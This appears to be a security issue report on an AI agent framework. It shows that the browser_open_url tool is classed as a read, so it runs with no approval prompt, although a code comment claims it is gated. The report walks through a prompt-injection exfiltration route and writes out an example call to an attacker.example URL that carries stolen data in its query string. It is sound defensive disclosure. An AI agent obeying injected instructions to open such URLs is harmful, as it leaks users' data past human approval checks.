Version: e0cb129d20ab73c77278788bcc6e33299cb72d2c
Summary
browser_open_url is registered with kind="read". Under the §36 rule that "reads never gate", approval_for_tool() therefore returns False for it, overriding the _attach() call-site default of approval=True. The tool navigates a real browser to a model-supplied URL with no check-in.
Meanwhile the inline comment inside that same function states the opposite:
# coworker/connectors/browser_automation.py:337
# Same address guard as web_fetch. This is approval gated, so it is defense in
# depth, not the primary control. It checks the initial model supplied URL only;
# redirects that the browser follows internally are not hop checked here.
The comment treats check_url() as a secondary control backed by an approval prompt that does not actually exist for this tool. Either the classification or the comment is wrong, and it would be good to know which.
Where
coworker/connectors/tool_defs.py:37-41 — ConnectorToolDef("browser", "browser_open_url", "Open URL", "read", ...)
coworker/connectors/tool_defs.py:1102-1106 — approval_for_tool() → return kind != "read"
coworker/connectors/browser_automation.py:52-57 — _attach(..., approval: bool = True), then approval = approval_for_tool(name, default=approval)
coworker/connectors/browser_automation.py:337 — the contradicting comment
coworker/web/guard.py:37-55 — check_url() blocks loopback / link-local / RFC1918 / CGNAT / multicast / reserved; any public URL passes
Reproduction
Resolving the registry at the above commit:
browser_open_url kind='read' requires_approval=False
browser_read_url kind='read' requires_approval=False
browser_click kind='write' requires_approval=True
browser_type kind='write' requires_approval=True
Why it matters
Navigation is a read in the sense that it doesn't mutate the remote service, but the URL itself is an outbound channel. Content the agent has already read — an injected instruction on a web page, in an email, or in an issue body — can steer it to browser_open_url("https://attacker.example/x?d=<data>"), and the data leaves in the query string with no prompt. check_url() doesn't help, because the destination is a perfectly ordinary public host.
This is the classic prompt-injection exfiltration shape, and the README's "Ask before acting - writes, sends, and shell commands are approval-gated" reads as though navigation were covered.
Scope note, to avoid overstating it: browser_automation.py:128 creates the browser context with new_context() and no storage_state, so there is no persistent logged-in session carried across launches. The concern is the outbound URL as a channel, not cookie theft.
Possible directions
- Treat outbound navigation to a not-yet-visited origin as gate-worthy even though it's a read (an origin allowlist, or first-visit-per-origin approval, would keep the prompt volume low), or
- keep it ungated by design and fix the comment at
browser_automation.py:337 so it doesn't claim a control that isn't there.
Either way the code and the comment should agree. Happy to send a PR for whichever you prefer.
Version:
e0cb129d20ab73c77278788bcc6e33299cb72d2cSummary
browser_open_urlis registered withkind="read". Under the §36 rule that "reads never gate",approval_for_tool()therefore returnsFalsefor it, overriding the_attach()call-site default ofapproval=True. The tool navigates a real browser to a model-supplied URL with no check-in.Meanwhile the inline comment inside that same function states the opposite:
The comment treats
check_url()as a secondary control backed by an approval prompt that does not actually exist for this tool. Either the classification or the comment is wrong, and it would be good to know which.Where
coworker/connectors/tool_defs.py:37-41—ConnectorToolDef("browser", "browser_open_url", "Open URL", "read", ...)coworker/connectors/tool_defs.py:1102-1106—approval_for_tool()→return kind != "read"coworker/connectors/browser_automation.py:52-57—_attach(..., approval: bool = True), thenapproval = approval_for_tool(name, default=approval)coworker/connectors/browser_automation.py:337— the contradicting commentcoworker/web/guard.py:37-55—check_url()blocks loopback / link-local / RFC1918 / CGNAT / multicast / reserved; any public URL passesReproduction
Resolving the registry at the above commit:
Why it matters
Navigation is a read in the sense that it doesn't mutate the remote service, but the URL itself is an outbound channel. Content the agent has already read — an injected instruction on a web page, in an email, or in an issue body — can steer it to
browser_open_url("https://attacker.example/x?d=<data>"), and the data leaves in the query string with no prompt.check_url()doesn't help, because the destination is a perfectly ordinary public host.This is the classic prompt-injection exfiltration shape, and the README's "Ask before acting - writes, sends, and shell commands are approval-gated" reads as though navigation were covered.
Scope note, to avoid overstating it:
browser_automation.py:128creates the browser context withnew_context()and nostorage_state, so there is no persistent logged-in session carried across launches. The concern is the outbound URL as a channel, not cookie theft.Possible directions
browser_automation.py:337so it doesn't claim a control that isn't there.Either way the code and the comment should agree. Happy to send a PR for whichever you prefer.